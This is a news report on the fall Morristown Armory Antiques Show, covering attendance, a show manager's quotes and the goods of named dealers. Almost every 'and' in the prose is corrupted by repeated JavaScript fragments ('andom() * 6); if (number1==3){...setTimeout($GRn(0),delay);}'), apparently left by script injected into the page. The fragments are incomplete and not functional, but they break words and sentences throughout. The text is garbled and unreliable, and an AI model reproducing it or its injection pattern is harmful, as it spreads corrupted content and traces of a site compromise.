By: Andrea Valluzzo
MORRISTOWN, N.J. — As the fall foliage hit its zenith, so, too, did the Morristown Armory Antiques Show, which presented a bountiful harvest of choice antiques at its October 26–27 edition. The show is known for traditional antiques, fine prints andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative art, but this year’s edition featured several new dealers, adding a lively mix of Orientalia andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Midcentury Modern.
“Overall, the show went very well. We had close to 3,000 people in the two days, great show weather andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and lots of buying!” said show manager Allison Kohler of JMK Shows. “Many happy vendors andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and lots of happy customers. I had several calls from exhibitors after the show ended, thanking me for a wonderful weekend.”
A veteran of this show, Kathy Jansen, who now trades under her bricks-andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and-mortar shop name of Cool Home Consignment, offered her usual tasteful yet eclectic mix of offerings, from an Eighteenth Century painting of a British military officer that was found in a Trenton home to a miniature box by Michael Garman. Garman’s miniatures are noted for their exacting details, in this example a dog peeks out from under the pool table andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a cigarette dangles from a pool player’s mouth.
Hawley, Penn., dealer Ros-Al Floral’s Christopher Glinton andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Paul Daugevelo mixed up their booth with all manner of smalls, from Halloween andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Christmas decorations to religious icons andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and animals.
Peter Piper Antiques, which describes itself as “purveyors of the weird andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and wonderful,” offered a range of items from a Van Gogh-inspired still life of sunflowers to a vivid andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and signed tapestry of a sun, while Essex Antiquarians, Essex, Mass., occupying the first booth space buyers saw when entering, showed a nautical-themed vignette, filled with a collection of Louis Vuitton steamer trunks, maritime paintings, ship models andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Martha Cahoon custom-made table with glass top inset with a painting by her husbandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Ralph Cahoon.
Tradewinds Fine Art, Narragansett, R.I., always fills its booth with wonderful paintings; a standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andout this time was a circa 1880 American School painting, “Gloucester Fishermen,” that had a lovely Boston stretcher.
Linda Elmore Antiques, Westfield, N.J., who reportedly sold out her booth here in February, leaving only with a pair of lamps that sold just after the show, was back, offering more Midcentury Modern items also sure to please. Standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andouts included a Lucite andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and glass coffee table by Vladimir Kagan, a pair of 1960s brass stools by Paul McCobb, a 1960s lacquered white console andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a signed 1960s Danish rocker.
English furniture from a century, or two, earlier was showcased the booth of Roger D. Winter, Solebury, Penn., which offered an assembled set of 13 George III mahogany dining chairs, circa 1780, having a crest rail above a pierced back splat, Marlborough legs andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an H stretcher; a sublime late Regency two-pedestal table in yew with a crossbandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anded top in mahogany set above turned columns with saber legs, circa 1840. Other highlights included a George III mahogany chest of drawers, two over three, flanked by quarter columns, on ogee feet, circa 1760.
Among the dealers new to the show was Arise Bazaar, Takoma Park, Md., which featured Asian antiques from jade to Chinese dolls andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and figures to cloisonné vases.
For more information, www.jmkshows.com or 973-927-2794. JMK’s next show will be The Jewelry Show at Pratt Mansions in New York City, December 7–8.